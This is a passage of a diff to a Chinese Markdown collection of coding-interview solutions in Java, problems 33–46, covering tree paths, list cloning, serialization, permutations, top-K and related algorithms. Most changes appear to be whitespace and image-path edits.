-    if (last - first <= 1)
-        return true;
-    int rootVal = sequence[last];
-    int cutIndex = first;
-    while (cutIndex < last && sequence[cutIndex] <= rootVal)
-        cutIndex++;
-    for (int i = cutIndex; i < last; i++)
-        if (sequence[i] < rootVal)
-            return false;
-    return verify(sequence, first, cutIndex - 1) && verify(sequence, cutIndex, last - 1);
+private boolean verify(int[] sequence, int first, int last) {
+    if (last - first <= 1)
+        return true;
+    int rootVal = sequence[last];
+    int cutIndex = first;
+    while (cutIndex < last && sequence[cutIndex] <= rootVal)
+        cutIndex++;
+    for (int i = cutIndex; i < last; i++)
+        if (sequence[i] < rootVal)
+            return false;
+    return verify(sequence, first, cutIndex - 1) && verify(sequence, cutIndex, last - 1);
 }
 ```
 
-# 34. 二叉树中和为某一值的路径
+# 34. 二叉树中和为某一值的路径
 
 [NowCoder](https://www.nowcoder.com/practice/b736e784e3e34731af99065031301bca?tpId=13&tqId=11177&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入一颗二叉树和一个整数，打印出二叉树中结点值的和为输入整数的所有路径。路径定义为从树的根结点开始往下一直到叶结点所经过的结点形成一条路径。
 
-下图的二叉树有两条和为 22 的路径：10, 5, 7 和 10, 12
+下图的二叉树有两条和为 22 的路径：10, 5, 7 和 10, 12
 
-<div align="center"> <img src="pics/f5477abd-c246-4851-89ab-6b1cde2549b1.png" width="200"/> </div><br>
+<img src="index_files/f5477abd-c246-4851-89ab-6b1cde2549b1.png" width="200"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-private ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+private ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
 
-public ArrayList<ArrayList<Integer>> FindPath(TreeNode root, int target) {
-    backtracking(root, target, new ArrayList<>());
-    return ret;
+public ArrayList<ArrayList<Integer>> FindPath(TreeNode root, int target) {
+    backtracking(root, target, new ArrayList<>());
+    return ret;
 }
 
-private void backtracking(TreeNode node, int target, ArrayList<Integer> path) {
-    if (node == null)
-        return;
-    path.add(node.val);
-    target -= node.val;
-    if (target == 0 && node.left == null && node.right == null) {
-        ret.add(new ArrayList<>(path));
-    } else {
-        backtracking(node.left, target, path);
-        backtracking(node.right, target, path);
-    }
-    path.remove(path.size() - 1);
+private void backtracking(TreeNode node, int target, ArrayList<Integer> path) {
+    if (node == null)
+        return;
+    path.add(node.val);
+    target -= node.val;
+    if (target == 0 && node.left == null && node.right == null) {
+        ret.add(new ArrayList<>(path));
+    } else {
+        backtracking(node.left, target, path);
+        backtracking(node.right, target, path);
+    }
+    path.remove(path.size() - 1);
 }
 ```
 
-# 35. 复杂链表的复制
+# 35. 复杂链表的复制
 
 [NowCoder](https://www.nowcoder.com/practice/f836b2c43afc4b35ad6adc41ec941dba?tpId=13&tqId=11178&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的 head。
+输入一个复杂链表（每个节点中有节点值，以及两个指针，一个指向下一个节点，另一个特殊指针指向任意一个节点），返回结果为复制后复杂链表的 head。
 
 ```java
-public class RandomListNode {
-    int label;
-    RandomListNode next = null;
-    RandomListNode random = null;
+public class RandomListNode {
+    int label;
+    RandomListNode next = null;
+    RandomListNode random = null;
 
-    RandomListNode(int label) {
-        this.label = label;
-    }
+    RandomListNode(int label) {
+        this.label = label;
+    }
 }
 ```
 
-<div align="center"> <img src="pics/a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/> </div><br>
+<img src="index_files/a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
 第一步，在每个节点的后面插入复制的节点。
 
-<div align="center"> <img src="pics/2e6c72f5-3b8e-4e32-b87b-9491322628fe.png" width="600"/> </div><br>
+<img src="index_files/2e6c72f5-3b8e-4e32-b87b-9491322628fe.png" width="600"/>
 
-第二步，对复制节点的 random 链接进行赋值。
+第二步，对复制节点的 random 链接进行赋值。
 
-<div align="center"> <img src="pics/323ffd6c-8b54-4f3e-b361-555a6c8bf218.png" width="600"/> </div><br>
+<img src="index_files/323ffd6c-8b54-4f3e-b361-555a6c8bf218.png" width="600"/>
 
 第三步，拆分。
 
-<div align="center"> <img src="pics/8f3b9519-d705-48fe-87ad-2e4052fc81d2.png" width="600"/> </div><br>
+<img src="index_files/8f3b9519-d705-48fe-87ad-2e4052fc81d2.png" width="600"/>
 
 ```java
-public RandomListNode Clone(RandomListNode pHead) {
-    if (pHead == null)
-        return null;
-    // 插入新节点
-    RandomListNode cur = pHead;
-    while (cur != null) {
-        RandomListNode clone = new RandomListNode(cur.label);
-        clone.next = cur.next;
-        cur.next = clone;
-        cur = clone.next;
-    }
-    // 建立 random 链接
-    cur = pHead;
-    while (cur != null) {
-        RandomListNode clone = cur.next;
-        if (cur.random != null)
-            clone.random = cur.random.next;
-        cur = clone.next;
-    }
-    // 拆分
-    cur = pHead;
-    RandomListNode pCloneHead = pHead.next;
-    while (cur.next != null) {
-        RandomListNode next = cur.next;
-        cur.next = next.next;
-        cur = next;
-    }
-    return pCloneHead;
+public RandomListNode Clone(RandomListNode pHead) {
+    if (pHead == null)
+        return null;
+    // 插入新节点
+    RandomListNode cur = pHead;
+    while (cur != null) {
+        RandomListNode clone = new RandomListNode(cur.label);
+        clone.next = cur.next;
+        cur.next = clone;
+        cur = clone.next;
+    }
+    // 建立 random 链接
+    cur = pHead;
+    while (cur != null) {
+        RandomListNode clone = cur.next;
+        if (cur.random != null)
+            clone.random = cur.random.next;
+        cur = clone.next;
+    }
+    // 拆分
+    cur = pHead;
+    RandomListNode pCloneHead = pHead.next;
+    while (cur.next != null) {
+        RandomListNode next = cur.next;
+        cur.next = next.next;
+        cur = next;
+    }
+    return pCloneHead;
 }
 ```
 
-# 36. 二叉搜索树与双向链表
+# 36. 二叉搜索树与双向链表
 
 [NowCoder](https://www.nowcoder.com/practice/947f6eb80d944a84850b0538bf0ec3a5?tpId=13&tqId=11179&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入一棵二叉搜索树，将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点，只能调整树中结点指针的指向。
 
-<div align="center"> <img src="pics/79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png" width="400"/> </div><br>
+<img src="index_files/79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png" width="400"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-private TreeNode pre = null;
-private TreeNode head = null;
+private TreeNode pre = null;
+private TreeNode head = null;
 
-public TreeNode Convert(TreeNode root) {
-    inOrder(root);
-    return head;
+public TreeNode Convert(TreeNode root) {
+    inOrder(root);
+    return head;
 }
 
-private void inOrder(TreeNode node) {
-    if (node == null)
-        return;
-    inOrder(node.left);
-    node.left = pre;
-    if (pre != null)
-        pre.right = node;
-    pre = node;
-    if (head == null)
-        head = node;
-    inOrder(node.right);
+private void inOrder(TreeNode node) {
+    if (node == null)
+        return;
+    inOrder(node.left);
+    node.left = pre;
+    if (pre != null)
+        pre.right = node;
+    pre = node;
+    if (head == null)
+        head = node;
+    inOrder(node.right);
 }
 ```
 
-# 37. 序列化二叉树
+# 37. 序列化二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/cf7e25aa97c04cc1a68c8f040e71fb84?tpId=13&tqId=11214&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 请实现两个函数，分别用来序列化和反序列化二叉树。
 
-## 解题思路
+## 解题思路
 
 ```java
-private String deserializeStr;
+private String deserializeStr;
 
-public String Serialize(TreeNode root) {
-    if (root == null)
-        return "#";
-    return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
+public String Serialize(TreeNode root) {
+    if (root == null)
+        return "#";
+    return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
 }
 
-public TreeNode Deserialize(String str) {
-    deserializeStr = str;
-    return Deserialize();
+public TreeNode Deserialize(String str) {
+    deserializeStr = str;
+    return Deserialize();
 }
 
-private TreeNode Deserialize() {
-    if (deserializeStr.length() == 0)
-        return null;
-    int index = deserializeStr.indexOf(" ");
-    String node = index == -1 ? deserializeStr : deserializeStr.substring(0, index);
-    deserializeStr = index == -1 ? "" : deserializeStr.substring(index + 1);
-    if (node.equals("#"))
-        return null;
-    int val = Integer.valueOf(node);
-    TreeNode t = new TreeNode(val);
-    t.left = Deserialize();
-    t.right = Deserialize();
-    return t;
+private TreeNode Deserialize() {
+    if (deserializeStr.length() == 0)
+        return null;
+    int index = deserializeStr.indexOf(" ");
+    String node = index == -1 ? deserializeStr : deserializeStr.substring(0, index);
+    deserializeStr = index == -1 ? "" : deserializeStr.substring(index + 1);
+    if (node.equals("#"))
+        return null;
+    int val = Integer.valueOf(node);
+    TreeNode t = new TreeNode(val);
+    t.left = Deserialize();
+    t.right = Deserialize();
+    return t;
 }
 ```
 
-# 38. 字符串的排列
+# 38. 字符串的排列
 
 [NowCoder](https://www.nowcoder.com/practice/fe6b651b66ae47d7acce78ffdd9a96c7?tpId=13&tqId=11180&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个字符串，按字典序打印出该字符串中字符的所有排列。例如输入字符串 abc，则打印出由字符 a, b, c 所能排列出来的所有字符串 abc, acb, bac, bca, cab 和 cba。
+输入一个字符串，按字典序打印出该字符串中字符的所有排列。例如输入字符串 abc，则打印出由字符 a, b, c 所能排列出来的所有字符串 abc, acb, bac, bca, cab 和 cba。
 
-## 解题思路
+## 解题思路
 
 ```java
-private ArrayList<String> ret = new ArrayList<>();
+private ArrayList<String> ret = new ArrayList<>();
 
-public ArrayList<String> Permutation(String str) {
-    if (str.length() == 0)
-        return ret;
-    char[] chars = str.toCharArray();
-    Arrays.sort(chars);
-    backtracking(chars, new boolean[chars.length], new StringBuilder());
-    return ret;
+public ArrayList<String> Permutation(String str) {
+    if (str.length() == 0)
+        return ret;
+    char[] chars = str.toCharArray();
+    Arrays.sort(chars);
+    backtracking(chars, new boolean[chars.length], new StringBuilder());
+    return ret;
 }
 
-private void backtracking(char[] chars, boolean[] hasUsed, StringBuilder s) {
-    if (s.length() == chars.length) {
-        ret.add(s.toString());
-        return;
-    }
-    for (int i = 0; i < chars.length; i++) {
-        if (hasUsed[i])
-            continue;
-        if (i != 0 && chars[i] == chars[i - 1] && !hasUsed[i - 1]) /* 保证不重复 */
-            continue;
-        hasUsed[i] = true;
-        s.append(chars[i]);
-        backtracking(chars, hasUsed, s);
-        s.deleteCharAt(s.length() - 1);
-        hasUsed[i] = false;
-    }
+private void backtracking(char[] chars, boolean[] hasUsed, StringBuilder s) {
+    if (s.length() == chars.length) {
+        ret.add(s.toString());
+        return;
+    }
+    for (int i = 0; i < chars.length; i++) {
+        if (hasUsed[i])
+            continue;
+        if (i != 0 && chars[i] == chars[i - 1] && !hasUsed[i - 1]) /* 保证不重复 */
+            continue;
+        hasUsed[i] = true;
+        s.append(chars[i]);
+        backtracking(chars, hasUsed, s);
+        s.deleteCharAt(s.length() - 1);
+        hasUsed[i] = false;
+    }
 }
 ```
 
-# 39. 数组中出现次数超过一半的数字
+# 39. 数组中出现次数超过一半的数字
 
 [NowCoder](https://www.nowcoder.com/practice/e8a1b01a2df14cb2b228b30ee6a92163?tpId=13&tqId=11181&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-多数投票问题，可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。
+多数投票问题，可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题，使得时间复杂度为 O(N)。
 
-使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素相等时，令 cnt++，否则令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
+使用 cnt 来统计一个元素出现的次数，当遍历到的元素和统计元素相等时，令 cnt++，否则令 cnt--。如果前面查找了 i 个元素，且 cnt == 0，说明前 i 个元素没有 majority，或者有 majority，但是出现的次数少于 i / 2 ，因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中，majority 的数目依然多于 (n - i) / 2，因此继续查找就能找出 majority。
 
 ```java
-public int MoreThanHalfNum_Solution(int[] nums) {
-    int majority = nums[0];
-    for (int i = 1, cnt = 1; i < nums.length; i++) {
-        cnt = nums[i] == majority ? cnt + 1 : cnt - 1;
-        if (cnt == 0) {
-            majority = nums[i];
-            cnt = 1;
-        }
-    }
-    int cnt = 0;
-    for (int val : nums)
-        if (val == majority)
-            cnt++;
-    return cnt > nums.length / 2 ? majority : 0;
+public int MoreThanHalfNum_Solution(int[] nums) {
+    int majority = nums[0];
+    for (int i = 1, cnt = 1; i < nums.length; i++) {
+        cnt = nums[i] == majority ? cnt + 1 : cnt - 1;
+        if (cnt == 0) {
+            majority = nums[i];
+            cnt = 1;
+        }
+    }
+    int cnt = 0;
+    for (int val : nums)
+        if (val == majority)
+            cnt++;
+    return cnt > nums.length / 2 ? majority : 0;
 }
 ```
 
-# 40. 最小的 K 个数
+# 40. 最小的 K 个数
 
 [NowCoder](https://www.nowcoder.com/practice/6a296eb82cf844ca8539b57c23e6e9bf?tpId=13&tqId=11182&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
-### 快速选择
+### 快速选择
 
-- 复杂度：O(N) + O(1)
-- 只有当允许修改数组元素时才可以使用
+- 复杂度：O(N) + O(1)
+- 只有当允许修改数组元素时才可以使用
 
-快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。可以利用这个特性找出数组的第 K 个元素，这种找第 K 个元素的算法称为快速选择算法。
+快速排序的 partition() 方法，会返回一个整数 j 使得 a[l..j-1] 小于等于 a[j]，且 a[j+1..h] 大于等于 a[j]，此时 a[j] 就是数组的第 j 大元素。可以利用这个特性找出数组的第 K 个元素，这种找第 K 个元素的算法称为快速选择算法。
 
 ```java
-public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    if (k > nums.length || k <= 0)
-        return ret;
-    findKthSmallest(nums, k - 1);
-    /* findKthSmallest 会改变数组，使得前 k 个数都是最小的 k 个数 */
-    for (int i = 0; i < k; i++)
-        ret.add(nums[i]);
-    return ret;
+public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    if (k > nums.length || k <= 0)
+        return ret;
+    findKthSmallest(nums, k - 1);
+    /* findKthSmallest 会改变数组，使得前 k 个数都是最小的 k 个数 */
+    for (int i = 0; i < k; i++)
+        ret.add(nums[i]);
+    return ret;
 }
 
-public void findKthSmallest(int[] nums, int k) {
-    int l = 0, h = nums.length - 1;
-    while (l < h) {
-        int j = partition(nums, l, h);
-        if (j == k)
-            break;
-        if (j > k)
-            h = j - 1;
-        else
-            l = j + 1;
-    }
+public void findKthSmallest(int[] nums, int k) {
+    int l = 0, h = nums.length - 1;
+    while (l < h) {
+        int j = partition(nums, l, h);
+        if (j == k)
+            break;
+        if (j > k)
+            h = j - 1;
+        else
+            l = j + 1;
+    }
 }
 
-private int partition(int[] nums, int l, int h) {
-    int p = nums[l];     /* 切分元素 */
-    int i = l, j = h + 1;
-    while (true) {
-        while (i != h && nums[++i] < p) ;
-        while (j != l && nums[--j] > p) ;
-        if (i >= j)
-            break;
-        swap(nums, i, j);
-    }
-    swap(nums, l, j);
-    return j;
+private int partition(int[] nums, int l, int h) {
+    int p = nums[l];     /* 切分元素 */
+    int i = l, j = h + 1;
+    while (true) {
+        while (i != h && nums[++i] < p) ;
+        while (j != l && nums[--j] > p) ;
+        if (i >= j)
+            break;
+        swap(nums, i, j);
+    }
+    swap(nums, l, j);
+    return j;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int t = nums[i];
-    nums[i] = nums[j];
-    nums[j] = t;
+private void swap(int[] nums, int i, int j) {
+    int t = nums[i];
+    nums[i] = nums[j];
+    nums[j] = t;
 }
 ```
 
-### 大小为 K 的最小堆
+### 大小为 K 的最小堆
 
-- 复杂度：O(NlogK) + O(K)
-- 特别适合处理海量数据
+- 复杂度：O(NlogK) + O(K)
+- 特别适合处理海量数据
 
 应该使用大顶堆来维护最小堆，而不能直接创建一个小顶堆并设置一个大小，企图让小顶堆中的元素都是最小元素。
 
-维护一个大小为 K 的最小堆过程如下：在添加一个元素之后，如果大顶堆的大小大于 K，那么需要将大顶堆的堆顶元素去除。
+维护一个大小为 K 的最小堆过程如下：在添加一个元素之后，如果大顶堆的大小大于 K，那么需要将大顶堆的堆顶元素去除。
 
 ```java
-public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
-    if (k > nums.length || k <= 0)
-        return new ArrayList<>();
-    PriorityQueue<Integer> maxHeap = new PriorityQueue<>((o1, o2) -> o2 - o1);
-    for (int num : nums) {
-        maxHeap.add(num);
-        if (maxHeap.size() > k)
-            maxHeap.poll();
-    }
-    return new ArrayList<>(maxHeap);
+public ArrayList<Integer> GetLeastNumbers_Solution(int[] nums, int k) {
+    if (k > nums.length || k <= 0)
+        return new ArrayList<>();
+    PriorityQueue<Integer> maxHeap = new PriorityQueue<>((o1, o2) -> o2 - o1);
+    for (int num : nums) {
+        maxHeap.add(num);
+        if (maxHeap.size() > k)
+            maxHeap.poll();
+    }
+    return new ArrayList<>(maxHeap);
 }
 ```
 
-# 41.1 数据流中的中位数
+# 41.1 数据流中的中位数
 
 [NowCoder](https://www.nowcoder.com/practice/9be0172896bd43948f8a32fb954e1be1?tpId=13&tqId=11216&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 如何得到一个数据流中的中位数？如果从数据流中读出奇数个数值，那么中位数就是所有数值排序之后位于中间的数值。如果从数据流中读出偶数个数值，那么中位数就是所有数值排序之后中间两个数的平均值。
 
-## 解题思路
+## 解题思路
 
 ```java
-/* 大顶堆，存储左半边元素 */
-private PriorityQueue<Integer> left = new PriorityQueue<>((o1, o2) -> o2 - o1);
-/* 小顶堆，存储右半边元素，并且右半边元素都大于左半边 */
-private PriorityQueue<Integer> right = new PriorityQueue<>();
-/* 当前数据流读入的元素个数 */
-private int N = 0;
+/* 大顶堆，存储左半边元素 */
+private PriorityQueue<Integer> left = new PriorityQueue<>((o1, o2) -> o2 - o1);
+/* 小顶堆，存储右半边元素，并且右半边元素都大于左半边 */
+private PriorityQueue<Integer> right = new PriorityQueue<>();
+/* 当前数据流读入的元素个数 */
+private int N = 0;
 
-public void Insert(Integer val) {
-    /* 插入要保证两个堆存于平衡状态 */
-    if (N % 2 == 0) {
-        /* N 为偶数的情况下插入到右半边。
-         * 因为右半边元素都要大于左半边，但是新插入的元素不一定比左半边元素来的大，
-         * 因此需要先将元素插入左半边，然后利用左半边为大顶堆的特点，取出堆顶元素即为最大元素，此时插入右半边 */
-        left.add(val);
-        right.add(left.poll());
-    } else {
-        right.add(val);
-        left.add(right.poll());
-    }
-    N++;
+public void Insert(Integer val) {
+    /* 插入要保证两个堆存于平衡状态 */
+    if (N % 2 == 0) {
+        /* N 为偶数的情况下插入到右半边。
+         * 因为右半边元素都要大于左半边，但是新插入的元素不一定比左半边元素来的大，
+         * 因此需要先将元素插入左半边，然后利用左半边为大顶堆的特点，取出堆顶元素即为最大元素，此时插入右半边 */
+        left.add(val);
+        right.add(left.poll());
+    } else {
+        right.add(val);
+        left.add(right.poll());
+    }
+    N++;
 }
 
-public Double GetMedian() {
-    if (N % 2 == 0)
-        return (left.peek() + right.peek()) / 2.0;
-    else
-        return (double) right.peek();
+public Double GetMedian() {
+    if (N % 2 == 0)
+        return (left.peek() + right.peek()) / 2.0;
+    else
+        return (double) right.peek();
 }
 ```
 
-# 41.2 字符流中第一个不重复的字符
+# 41.2 字符流中第一个不重复的字符
 
 [NowCoder](https://www.nowcoder.com/practice/00de97733b8e4f97a3fb5c680ee10720?tpId=13&tqId=11207&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-请实现一个函数用来找出字符流中第一个只出现一次的字符。例如，当从字符流中只读出前两个字符 "go" 时，第一个只出现一次的字符是 "g"。当从该字符流中读出前六个字符“google" 时，第一个只出现一次的字符是 "l"。
+请实现一个函数用来找出字符流中第一个只出现一次的字符。例如，当从字符流中只读出前两个字符 "go" 时，第一个只出现一次的字符是 "g"。当从该字符流中读出前六个字符“google" 时，第一个只出现一次的字符是 "l"。
 
-## 解题思路
+## 解题思路
 
 ```java
-private int[] cnts = new int[256];
-private Queue<Character> queue = new LinkedList<>();
+private int[] cnts = new int[256];
+private Queue<Character> queue = new LinkedList<>();
 
-public void Insert(char ch) {
-    cnts[ch]++;
-    queue.add(ch);
-    while (!queue.isEmpty() && cnts[queue.peek()] > 1)
-        queue.poll();
+public void Insert(char ch) {
+    cnts[ch]++;
+    queue.add(ch);
+    while (!queue.isEmpty() && cnts[queue.peek()] > 1)
+        queue.poll();
 }
 
-public char FirstAppearingOnce() {
-    return queue.isEmpty() ? '#' : queue.peek();
+public char FirstAppearingOnce() {
+    return queue.isEmpty() ? '#' : queue.peek();
 }
 ```
 
-# 42. 连续子数组的最大和
+# 42. 连续子数组的最大和
 
 [NowCoder](https://www.nowcoder.com/practice/459bd355da1549fa8a49e350bf3df484?tpId=13&tqId=11183&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-{6, -3, -2, 7, -15, 1, 2, 2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
+{6, -3, -2, 7, -15, 1, 2, 2}，连续子数组的最大和为 8（从第 0 个开始，到第 3 个为止）。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int FindGreatestSumOfSubArray(int[] nums) {
-    if (nums == null || nums.length == 0)
-        return 0;
-    int greatestSum = Integer.MIN_VALUE;
-    int sum = 0;
-    for (int val : nums) {
-        sum = sum <= 0 ? val : sum + val;
-        greatestSum = Math.max(greatestSum, sum);
-    }
-    return greatestSum;
+public int FindGreatestSumOfSubArray(int[] nums) {
+    if (nums == null || nums.length == 0)
+        return 0;
+    int greatestSum = Integer.MIN_VALUE;
+    int sum = 0;
+    for (int val : nums) {
+        sum = sum <= 0 ? val : sum + val;
+        greatestSum = Math.max(greatestSum, sum);
+    }
+    return greatestSum;
 }
 ```
 
-# 43. 从 1 到 n 整数中 1 出现的次数
+# 43. 从 1 到 n 整数中 1 出现的次数
 
 [NowCoder](https://www.nowcoder.com/practice/bd7f978302044eee894445e244c7eee6?tpId=13&tqId=11184&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
 ```java
-public int NumberOf1Between1AndN_Solution(int n) {
-    int cnt = 0;
-    for (int m = 1; m <= n; m *= 10) {
-        int a = n / m, b = n % m;
-        cnt += (a + 8) / 10 * m + (a % 10 == 1 ? b + 1 : 0);
-    }
-    return cnt;
+public int NumberOf1Between1AndN_Solution(int n) {
+    int cnt = 0;
+    for (int m = 1; m <= n; m *= 10) {
+        int a = n / m, b = n % m;
+        cnt += (a + 8) / 10 * m + (a % 10 == 1 ? b + 1 : 0);
+    }
+    return cnt;
 }
 ```
 
-> [Leetcode : 233. Number of Digit One](https://leetcode.com/problems/number-of-digit-one/discuss/64381/4+-lines-O(log-n)-C++JavaPython)
+> [Leetcode : 233. Number of Digit One](https://leetcode.com/problems/number-of-digit-one/discuss/64381/4+-lines-O(log-n)-C++JavaPython)
 
-# 44. 数字序列中的某一位数字
+# 44. 数字序列中的某一位数字
 
-## 题目描述
+## 题目描述
 
-数字以 0123456789101112131415... 的格式序列化到一个字符串中，求这个字符串的第 index 位。
+数字以 0123456789101112131415... 的格式序列化到一个字符串中，求这个字符串的第 index 位。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int getDigitAtIndex(int index) {
-    if (index < 0)
-        return -1;
-    int place = 1;  // 1 表示个位，2 表示 十位...
-    while (true) {
-        int amount = getAmountOfPlace(place);
-        int totalAmount = amount * place;
-        if (index < totalAmount)
-            return getDigitAtIndex(index, place);
-        index -= totalAmount;
-        place++;
-    }
+public int getDigitAtIndex(int index) {
+    if (index < 0)
+        return -1;
+    int place = 1;  // 1 表示个位，2 表示 十位...
+    while (true) {
+        int amount = getAmountOfPlace(place);
+        int totalAmount = amount * place;
+        if (index < totalAmount)
+            return getDigitAtIndex(index, place);
+        index -= totalAmount;
+        place++;
+    }
 }
 
 /**
- * place 位数的数字组成的字符串长度
- * 10, 90, 900, ...
- */
-private int getAmountOfPlace(int place) {
-    if (place == 1)
-        return 10;
-    return (int) Math.pow(10, place - 1) * 9;
+ * place 位数的数字组成的字符串长度
+ * 10, 90, 900, ...
+ */
+private int getAmountOfPlace(int place) {
+    if (place == 1)
+        return 10;
+    return (int) Math.pow(10, place - 1) * 9;
 }
 
 /**
- * place 位数的起始数字
- * 0, 10, 100, ...
- */
-private int getBeginNumberOfPlace(int place) {
-    if (place == 1)
-        return 0;
-    return (int) Math.pow(10, place - 1);
+ * place 位数的起始数字
+ * 0, 10, 100, ...
+ */
+private int getBeginNumberOfPlace(int place) {
+    if (place == 1)
+        return 0;
+    return (int) Math.pow(10, place - 1);
 }
 
 /**
- * 在 place 位数组成的字符串中，第 index 个数
- */
-private int getDigitAtIndex(int index, int place) {
-    int beginNumber = getBeginNumberOfPlace(place);
-    int shiftNumber = index / place;
-    String number = (beginNumber + shiftNumber) + "";
-    int count = index % place;
-    return number.charAt(count) - '0';
+ * 在 place 位数组成的字符串中，第 index 个数
+ */
+private int getDigitAtIndex(int index, int place) {
+    int beginNumber = getBeginNumberOfPlace(place);
+    int shiftNumber = index / place;
+    String number = (beginNumber + shiftNumber) + "";
+    int count = index % place;
+    return number.charAt(count) - '0';
 }
 ```
 
-# 45. 把数组排成最小的数
+# 45. 把数组排成最小的数
 
 [NowCoder](https://www.nowcoder.com/practice/8fecd3f8ba334add803bf2a06af1b993?tpId=13&tqId=11185&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个正整数数组，把数组里所有数字拼接起来排成一个数，打印能拼接出的所有数字中最小的一个。例如输入数组 {3，32，321}，则打印出这三个数字能排成的最小数字为 321323。
+输入一个正整数数组，把数组里所有数字拼接起来排成一个数，打印能拼接出的所有数字中最小的一个。例如输入数组 {3，32，321}，则打印出这三个数字能排成的最小数字为 321323。
 
-## 解题思路
+## 解题思路
 
-可以看成是一个排序问题，在比较两个字符串 S1 和 S2 的大小时，应该比较的是 S1+S2 和 S2+S1 的大小，如果 S1+S2 < S2+S1，那么应该把 S1 排在前面，否则应该把 S2 排在前面。
+可以看成是一个排序问题，在比较两个字符串 S1 和 S2 的大小时，应该比较的是 S1+S2 和 S2+S1 的大小，如果 S1+S2 < S2+S1，那么应该把 S1 排在前面，否则应该把 S2 排在前面。
 
 ```java
-public String PrintMinNumber(int[] numbers) {
-    if (numbers == null || numbers.length == 0)
-        return "";
-    int n = numbers.length;
-    String[] nums = new String[n];
-    for (int i = 0; i < n; i++)
-        nums[i] = numbers[i] + "";
-    Arrays.sort(nums, (s1, s2) -> (s1 + s2).compareTo(s2 + s1));
-    String ret = "";
-    for (String str : nums)
-        ret += str;
-    return ret;
+public String PrintMinNumber(int[] numbers) {
+    if (numbers == null || numbers.length == 0)
+        return "";
+    int n = numbers.length;
+    String[] nums = new String[n];
+    for (int i = 0; i < n; i++)
+        nums[i] = numbers[i] + "";
+    Arrays.sort(nums, (s1, s2) -> (s1 + s2).compareTo(s2 + s1));
+    String ret = "";
+    for (String str : nums)
+        ret += str;
+    return ret;
 }
 ```
 
-# 46. 把数字翻译成字符串
+# 46. 把数字翻译成字符串
 
 [Leetcode](https://leetcode.com/problems/decode-ways/description/)
 
-## 题目描述
+## 题目描述
 
-给定一个数字，按照如下规则翻译成字符串：1 翻译成“a”，2 翻译成“b”... 26 翻译成“z”。一个数字有多种翻译可能，例如 12258 一共有 5 种，分别是 abbeh，lbeh，aveh，abyh，lyh。实现一个函数，用来计算一个数字有多少种不同的翻译方法。
+给定一个数字，按照如下规则翻译成字符串：1 翻译成“a”，2 翻译成“b”... 26 翻译成“z”。一个数字有多种翻译可能，例如 12258 一共有 5 种，分别是 abbeh，lbeh，aveh，abyh，lyh。实现一个函数，用来计算一个数字有多少种不同的翻译方法。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int numDecodings(String s) {
-    if (s == null || s.length() == 0)
-        return 0;
-    int n = s.length();
-    int[] dp = new int[n + 1];
-    dp[0] = 1;
-    dp[1] = s.charAt(0) == '0' ? 0 : 1;
-    for (int i = 2; i <= n; i++) {
-        int one = Integer.valueOf(s.substring(i - 1, i));
-        if (one != 0)
-            dp[i] += dp[i - 1];
-        if (s.charAt(i - 2) == '0')
-            continue;
